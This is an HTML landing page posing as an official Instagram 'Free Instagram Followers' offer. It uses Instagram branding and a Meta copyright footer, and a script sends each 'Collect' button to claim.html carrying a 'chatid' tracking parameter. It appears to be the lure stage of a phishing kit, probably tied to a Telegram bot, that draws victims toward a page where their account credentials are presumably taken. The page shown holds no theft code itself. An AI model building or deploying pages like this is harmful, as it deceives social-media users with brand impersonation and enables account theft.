<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Free Instagram Followers</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      margin: 0;
      padding: 0;
      background-color: #1e1e2f;
      color: white;
    }
    .header {
      background: linear-gradient(90deg, #FF416C, #FF4B2B);
      text-align: center;
      padding: 20px;
    }
    .header img {
      height: 60px;
    }
    .banner {
      text-align: center;
      margin: 20px;
    }
    .packages {
      display: flex;
      flex-wrap: wrap;
      justify-content: center;
      gap: 15px;
    }
    .package {
      background: #252540;
      padding: 20px;
      border-radius: 8px;
      text-align: center;
      width: 200px;
    }
    .package h3 {
      color: #FFD700;
    }
    .collect-btn {
      background: #FF416C;
      color: white;
      padding: 10px 20px;
      border: none;
      border-radius: 5px;
      cursor: pointer;
    }
    .footer {
      text-align: center;
      padding: 10px;
      background: #1a1a2e;
      font-size: 12px;
    }
  </style>
</head>
<body>
  <div class="header">
    <img src="instagram-logo.png" alt="Instagram Logo">
    <h1>FREE INSTAGRAM FOLLOWERS</h1>
  </div>

  <div class="banner">
    <p>Claim Free Followers Now & Shine Together!</p>
  </div>

  <div class="packages">
    <div class="package">
      <h3>300 Followers</h3>
      <button class="collect-btn" id="collect300">Collect</button>
    </div>
    <div class="package">
      <h3>600 Followers</h3>
      <button class="collect-btn" id="collect600">Collect</button>
    </div>
    <div class="package">
      <h3>900 Followers</h3>
      <button class="collect-btn" id="collect900">Collect</button>
    </div>
    <div class="package">
      <h3>1000 Followers</h3>
      <button class="collect-btn" id="collect1000">Collect</button>
    </div>
    <div class="package">
      <h3>3000 Followers</h3>
      <button class="collect-btn" id="collect3000">Collect</button>
    </div>
    <div class="package">
      <h3>4000 Followers</h3>
      <button class="collect-btn" id="collect4000">Collect</button>
    </div>
  </div>

  <div class="footer">
    <p>© 2024 Instagram from Meta</p>
  </div>

  <script>
    // Extract the chatid parameter from the URL
    const urlParams = new URLSearchParams(window.location.search);
    const chatId = urlParams.get('chatid');
    
    // Validate if chatid exists
    if (chatId) {
      // Add chatid parameter to each button link
      document.getElementById('collect300').onclick = () => location.href = `claim.html?followers=300&chatid=${chatId}`;
      document.getElementById('collect600').onclick = () => location.href = `claim.html?followers=600&chatid=${chatId}`;
      document.getElementById('collect900').onclick = () => location.href = `claim.html?followers=900&chatid=${chatId}`;
      document.getElementById('collect1000').onclick = () => location.href = `claim.html?followers=1000&chatid=${chatId}`;
      document.getElementById('collect3000').onclick = () => location.href = `claim.html?followers=3000&chatid=${chatId}`;
      document.getElementById('collect4000').onclick = () => location.href = `claim.html?followers=4000&chatid=${chatId}`;
    } else {
      alert("Error: chatid parameter is missing in the URL.");
    }
  </script>
</body>
</html>
